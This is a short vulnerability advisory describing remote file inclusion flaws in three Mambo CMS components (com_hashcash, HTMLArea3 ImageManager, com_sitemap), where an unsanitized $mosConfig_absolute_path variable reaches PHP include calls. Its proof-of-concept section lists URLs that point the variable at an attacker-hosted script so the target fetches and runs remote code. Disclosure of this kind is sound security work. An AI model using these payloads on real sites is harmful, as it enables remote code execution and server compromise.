Vulnerability:

~~~~~~~~~~~~~~

# Hashcash Component

In folder com_hashcash we found vulnerability script server.php.

-----------------------server.php---------------------------------------

<?php

include($mosConfig_absolute_path."/administrator/components/com_hashcash
/config.hashcash.php");

require_once ($mosConfig_absolute_path.'/components/com_hashcash/CryptoStrategy.php')
;

...................

------------------------------------------------------------------------

# HTMLArea3 addon - ImageManager

In folder ImageManager we found vulnerability script config.inc.php.

-----------------------config.inc.php-----------------------------------

<?php

// $Id: config.inc.php, v 1.5 2004/06/03 17:35:27 bpfeifer Exp $

require($mosConfig_absolute_path."/administrator/components/com_htmlarea
3_xtd-c/config.htmlarea3_xtd-c.php");

------------------------------------------------------------------------

# Sitemap 2.0.0 for Mambo 4.5.1 CMS

In folder com_sitemap we found vulnerability script sitemap.xml.php.

-----------------------sitemap.xml.php----------------------

<?php

/**

**/

// XML library

require_once( $mosConfig_absolute_path . '/includes/domit/xml_domit_lite_include.php' );

------------------------------------------------------------

Variables $mosConfig_absolute_path are not properly sanitized. When

register_globals=on

and allow_fopenurl=on an attacker can exploit this vulnerability with a

simple php injection script.

Proof Of Concept:

~~~~~~~~~~~~~~~

http://[target]/[path]/components/com_hashcash/server.php?mosConfig_abso
lute_path=http://attacker.com/evil.txt?

http://[target]/[path]/components/com_htmlarea3_xtd-c/popups/ImageManage
r/config.inc.php?mosConfig_absolute_path=http://evilscript

http://[target]/[path]/components/com_sitemap/sitemap.xml.php?mosConfig_
absolute_path=http://attacker.com/evil.txt?

Solution:

~~~~~~~

sanitize variabel $mosConfig_absolute_path.
